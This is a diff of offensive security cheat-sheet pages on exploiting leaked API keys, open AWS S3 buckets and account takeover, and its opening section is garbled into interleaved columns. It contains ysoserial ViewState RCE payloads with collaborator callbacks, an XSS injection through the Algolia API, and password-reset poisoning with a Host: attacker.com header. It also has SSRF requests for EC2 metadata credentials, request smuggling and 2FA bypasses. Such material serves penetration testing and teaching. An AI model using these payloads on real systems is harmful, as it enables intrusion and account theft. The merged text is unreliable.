- [truffleHog - Find credentials all over the place](https://github.com/trufflesecurity/truffleHog) - [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens
```ps1 - [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys - [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity - [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
trufflehog git https://github.com/trufflesecurity/trufflehog.git - [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
trufflehog github --endpoint https://api.github.com --org trufflesecurity --token GITHUB_TOKEN --debug --concurrency 2 - [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
```powershell
nuclei -t token-spray/ -var token=token_list.txt
``` ```
## Exploit ## Methodology
The following commands can be used to takeover accounts or extract personal information from the API using the leaked token. - **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
- **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
### Google Maps ### Common Causes of Leaks
Use : https://github.com/ozguralp/gmapsapiscanner/ - **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
Usage: ```py
| Name | Endpoint | # Example of hardcoded API key
| --- | --- | api_key = "1234567890abcdef"
| Static Maps | https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE | ```
| Streetview | https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE |
| Embed | https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE |
| Directions | https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE |
| Geocoding | https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE |
| Distance Matrix | https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE |
| Find Place from Text | https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE |
| Autocomplete | https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE |
| Elevation | https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE |
| Timezone | https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510&timestamp=1331161200&key=KEY_HERE |
| Roads | https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795|60.170879,24.942796|60.170877,24.942796&key=KEY_HERE |
| Geolocate | https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE |
- **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
Impact: ```ps1
* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company ## Scan a Github Organization
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
### Algolia ## Scan a GitHub Repository, its Issues and Pull Requests
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
```
```powershell - **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
curl --request PUT \
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \ ```ps1
--header 'content-type: application/json' \ # Scan a Docker image for verified secrets
--header 'x-algolia-api-key: <example-key>' \ docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
--header 'x-algolia-application-id: <example-application-id>' \ ```
--data '{"highlightPreTag": "<script>alert(1);</script>"}'
- **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
- **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
### Validate The API Key
If assistance is needed in identifying the service that generated the token, [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.
```yaml
patterns:
- pattern:
name: AWS API Gateway
regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
confidence: low
- pattern:
name: AWS API Key
regex: AKIA[0-9A-Z]{16}
confidence: high
``` ```
### Slack API Token Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.
```powershell - **Example**: Telegram Bot API Token
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
```
### Facebook Access Token ```ps1
curl https://api.telegram.org/bot<TOKEN>/getMe
```
```powershell ## Reducing The Attack Surface
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
```
### Github client id and client secret Check the existence of a private key or AWS credentials before commiting your changes in a GitHub repository.
```powershell Add these lines to your `.pre-commit-config.yaml` file.
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
```
### Twilio Account_sid and Auth token ```yml
- repo: https://github.com/pre-commit/pre-commit-hooks
```powershell rev: v3.2.0
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN hooks:
``` - id: detect-aws-credentials
- id: detect-private-key
### Twitter API Secret
```powershell
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
```
### Twitter Bearer Token
```powershell
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
```
### Gitlab Personal Access Token
```powershell
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
```
### HockeyApp API Token
```powershell
curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4
```
### IIS Machine Keys
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
Requirements
* machineKey **validationKey** and **decryptionKey**
* __VIEWSTATEGENERATOR cookies
* __VIEWSTATE cookies
Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
```xml
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
```
Common locations of **web.config** / **machine.config**
* 32-bit
* C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
* C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
* 64-bit
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
* C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
* in registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
#### Identify known machine key
* Exploit with [Blacklist3r/AspDotNetWrapper](https://github.com/NotSoSecure/Blacklist3r)
* Exploit with [ViewGen](https://github.com/0xacb/viewgen)
```powershell
# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1
# --encrypteddata : __VIEWSTATE parameter value of the target application
# --modifier : __VIEWSTATEGENERATOR parameter value
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> macdecode
```
#### Decode ViewState
```powershell
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
```
#### Generate ViewState for RCE
**NOTE**: Send a POST request with the generated ViewState to the same endpoint, in Burp you should **URL Encode Key Characters** for your payload.
```powershell
$ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>" --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
```
#### Edit cookies with the machine key
If you have the machineKey but the viewstate is disabled.
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
```powershell
# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
```
### Mapbox API Token
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
```
#Check token validity
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropiate scope)
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
``` ```
## References ## References
* [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d) - [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
* [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060) - [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/) - [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060)
* [Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/) - [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
* [Mapbox API Token Documentation](https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/)

View File

@@ -1,168 +0,0 @@
# Amazon Bucket S3 AWS
## Summary
- [AWS Configuration](#aws-configuration)
- [Open Bucket](#open-bucket)
- [Basic tests](#basic-tests)
- [Listing files](#listing-files)
- [Move a file into the bucket](move-a-file-into-the-bucket)
- [Download every things](#download-every-things)
- [Check bucket disk size](#check-bucket-disk-size)
- [AWS - Extract Backup](#aws---extract-backup)
- [Bucket juicy data](#bucket-juicy-data)
## AWS Configuration
Prerequisites, at least you need awscli
```bash
sudo apt install awscli
```
You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential
but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/
```javascript
aws configure
AWSAccessKeyId=[ENTER HERE YOUR KEY]
AWSSecretKey=[ENTER HERE YOUR KEY]
```
```javascript
aws configure --profile nameofprofile
```
then you can use *--profile nameofprofile* in the aws command.
Alternatively you can use environment variables instead of creating a profile.
```bash
export AWS_ACCESS_KEY_ID=ASIAZ[...]PODP56
export AWS_SECRET_ACCESS_KEY=fPk/Gya[...]4/j5bSuhDQ
export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU=
```
## Open Bucket
By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names
```bash
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
http://flaws.cloud.s3.amazonaws.com/
https://buckets.grayhatwarfare.com/
```
Their names are also listed if the listing is enabled.
```xml
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
```
Alternatively you can extract the name of inside-site s3 bucket with `%C0`. (Trick from https://twitter.com/0xmdv/status/1065581916437585920)
```xml
http://example.com/resources/id%C0
eg: http://redacted/avatar/123%C0
```
## Basic tests
### Listing files
```bash
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
```
You can get the region with a dig and nslookup
```bash
$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud. 5 IN A 52.218.192.11
$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
```
### Move a file into the bucket
```bash
aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
aws s3 cp login.html s3://$bucketName --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers
```
```bash
aws s3 mv test.txt s3://hackerone.marketing
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."
aws s3 mv test.txt s3://hackerone.files
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
```
### Download every things
```powershell
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2
```
### Check bucket disk size
Use `--no-sign` for un-authenticated check.
```powershell
aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'
```
## AWS - Extract Backup
```powershell
$ aws --profile flaws sts get-caller-identity
"Account": "XXXX26262029",
$ aws --profile profile_name ec2 describe-snapshots
$ aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
"SnapshotId": "snap-XXXX342abd1bdcb89",
Create a volume using snapshot
$ aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
In Aws Console -> EC2 -> New Ubuntu
$ chmod 400 YOUR_KEY.pem
$ ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
Mount the volume
$ lsblk
$ sudo file -s /dev/xvda1
$ sudo mount /dev/xvda1 /mnt
```
## Bucket juicy data
Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :
```powershell
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
```
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
## References
* [There's a Hole in 1,951 Amazon S3 Buckets - Mar 27, 2013 - Rapid7 willis](https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets)
* [Bug Bounty Survey - AWS Basic test](https://twitter.com/bugbsurveys/status/859389553211297792)
* [flaws.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws.cloud/)
* [flaws2.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws2.cloud)
* [Guardzilla video camera hardcoded AWS credential - 0dayallday.org](https://www.0dayallday.org/guardzilla-video-camera-hard-coded-aws-credentials/)
* [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/)
* [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/)
* [A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019](https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea?gi=8bb65b77c2cf)

View File

@@ -1,39 +1,27 @@
# Account Takeover # Account Takeover
> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
## Summary ## Summary
* [Password Reset Feature](#password-reset-feature) * [Password Reset Feature](#password-reset-feature)
* [Password Reset Token Leak Via Referrer](#password-reset-token-leak-via-referrer) * [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)
* [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning) * [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
* [Password Reset Via Email Parameter](#password-reset-via-email-parameter) * [Password Reset via Email Parameter](#password-reset-via-email-parameter)
* [IDOR on API Parameters](#idor-on-api-parameters) * [IDOR on API Parameters](#idor-on-api-parameters)
* [Weak Password Reset Token](#weak-password-reset-token) * [Weak Password Reset Token](#weak-password-reset-token)
* [Leaking Password Reset Token](#leaking-password-reset-token) * [Leaking Password Reset Token](#leaking-password-reset-token)
* [Password Reset Via Username Collision](#password-reset-via-username-collision) * [Password Reset via Username Collision](#password-reset-via-username-collision)
* [Account takeover due to unicode normalization issue](#account-takeover-due-to-unicode-normalization-issue) * [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)
* [Account Takeover Via Cross Site Scripting](#account-takeover-via-cross-site-scripting) * [Account Takeover via Web Vulneralities](#account-takeover-via-web-vulneralities)
* [Account Takeover Via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling) * [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
* [Account Takeover via CSRF](#account-takeover-via-csrf) * [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
* [2FA Bypasses](#2fa-bypasses) * [Account Takeover via CSRF](#account-takeover-via-csrf)
* [Response Manipulation](#reponse-manipulation)
* [Status Code Manipulation](#status-code-manipulation)
* [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
* [JS File Analysis](#js-file-analysis)
* [2FA Code Reusability](#2fa-code-reusability)
* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
* [Password Reset Disable 2FA](#password-reset-disable-2fa)
* [Backup Code Abuse](#backup-code-abuse)
* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
* [Bypass 2FA with array](#bypass-2fa-with-array)
* [References](#references) * [References](#references)
## Password Reset Feature ## Password Reset Feature
### Password Reset Token Leak Via Referrer ### Password Reset Token Leak via Referrer
1. Request password reset to your email address 1. Request password reset to your email address
2. Click on the password reset link 2. Click on the password reset link
@@ -47,16 +35,17 @@
1. Intercept the password reset request in Burp Suite 1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header 3. Forward the request with the modified header
```http ```http
POST https://example.com/reset.php HTTP/1.1 POST https://example.com/reset.php HTTP/1.1
Accept: */* Accept: */*
Content-Type: application/json Content-Type: application/json
Host: attacker.com Host: attacker.com
``` ```
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN` 4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset via Email Parameter
### Password Reset Via Email Parameter
```powershell ```powershell
# parameter pollution # parameter pollution
@@ -80,6 +69,7 @@ email=victim@mail.com|hacker@mail.com
1. Attacker have to login with their account and go to the **Change password** feature. 1. Attacker have to login with their account and go to the **Change password** feature.
2. Start the Burp Suite and Intercept the request 2. Start the Burp Suite and Intercept the request
3. Send it to the repeater tab and edit the parameters : User ID/email 3. Send it to the repeater tab and edit the parameters : User ID/email
```powershell ```powershell
POST /api/changepass POST /api/changepass
[...] [...]
@@ -104,11 +94,11 @@ Try to determine if the token expire or if it's always the same, in some cases t
### Leaking Password Reset Token ### Leaking Password Reset Token
1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com 1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com>
2. Inspect the server response and check for `resetToken` 2. Inspect the server response and check for `resetToken`
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` 3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision ### Password Reset via Username Collision
1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "` 1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
2. Request a password reset with your malicious username. 2. Request a password reset with your malicious username.
@@ -118,34 +108,46 @@ Try to determine if the token expire or if it's always the same, in some cases t
The platform CTFd was vulnerable to this attack. The platform CTFd was vulnerable to this attack.
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Due To Unicode Normalization Issue
### Account takeover due to unicode normalization issue When processing user input involving unicode for case mapping or normalisation, unexcepted behavior can occur.
- Victim account: `demo@gmail.com` * Victim account: `demo@gmail.com`
- Attacker account: `demⓞ@gmail.com` * Attacker account: `demⓞ@gmail.com`
[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).
## Account Takeover Via Cross Site Scripting [Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.
## Account Takeover via Web Vulneralities
### Account Takeover via Cross Site Scripting
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com` 1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
2. Leak the current **sessions cookie** 2. Leak the current **sessions cookie**
3. Authenticate as the user using the cookie 3. Authenticate as the user using the cookie
## Account Takeover Via HTTP Request Smuggling ### Account Takeover via HTTP Request Smuggling
Refer to **HTTP Request Smuggling** vulnerability page. Refer to **HTTP Request Smuggling** vulnerability page.
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE) 1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
```powershell ```powershell
git clone https://github.com/defparam/smuggler.git git clone https://github.com/defparam/smuggler.git
cd smuggler cd smuggler
python3 smuggler.py -h python3 smuggler.py -h
``` ```
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data: 2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
```powershell ```powershell
GET http://something.burpcollaborator.net HTTP/1.1 GET http://something.burpcollaborator.net HTTP/1.1
X: X:
``` ```
3. Final request could look like the following 3. Final request could look like the following
```powershell ```powershell
GET / HTTP/1.1 GET / HTTP/1.1
Transfer-Encoding: chunked Transfer-Encoding: chunked
@@ -160,105 +162,26 @@ Refer to **HTTP Request Smuggling** vulnerability page.
``` ```
Hackerone reports exploiting this bug Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
## Account Takeover via CSRF * <https://hackerone.com/reports/737140>
* <https://hackerone.com/reports/771666>
### Account Takeover via CSRF
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change" 1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
2. Send the payload 2. Send the payload
## Account Takeover via JWT ### Account Takeover via JWT
JSON Web Token might be used to authenticate an user. JSON Web Token might be used to authenticate an user.
* Edit the JWT with another User ID / Email * Edit the JWT with another User ID / Email
* Check for weak JWT signature * Check for weak JWT signature
## 2FA Bypasses
### Response Manipulation
In response if `"success":false`
Change it to `"success":true`
### Status Code Manipulation
If Status Code is **4xx**
Try to change it to **200 OK** and see if it bypass restrictions
### 2FA Code Leakage in Response
Check the response of the 2FA Code Triggering Request to see if the code is leaked.
### JS File Analysis
Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
### 2FA Code Reusability
Same code can be reused
### Lack of Brute-Force Protection
Possible to brute-force any length 2FA Code
### Missing 2FA Code Integrity Validation
Code for any user acc can be used to bypass the 2FA
### CSRF on 2FA Disabling
No CSRF Protection on disabling 2FA, also there is no auth confirmation
### Password Reset Disable 2FA
2FA gets disabled on password change/email change
### Backup Code Abuse
Bypassing 2FA by abusing the Backup code feature
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
### Clickjacking on 2FA Disabling Page
Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
### Enabling 2FA doesn't expire Previously active Sessions
If the session is already hijacked and there is a session timeout vuln
### Bypass 2FA with null or 000000
Enter the code **000000** or **null** to bypass 2FA protection.
### Bypass 2FA with array
```json
{
"otp":[
"1234",
"1111",
"1337", // GOOD OTP
"2222",
"3333",
"4444",
"5555"
]
}
```
## TODO
* Broken cryptography
* Session hijacking
* OAuth misconfiguration
## References ## References
- [10 Password Reset Flaws - Anugrah SR](http://anugrahsr.me/posts/10-Password-reset-flaws/) * [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://www.youtube.com/watch?v=gzM4wWA7RFo)
- [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=gzM4wWA7RFo&feature=youtu.be) * [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
- [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28) * [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
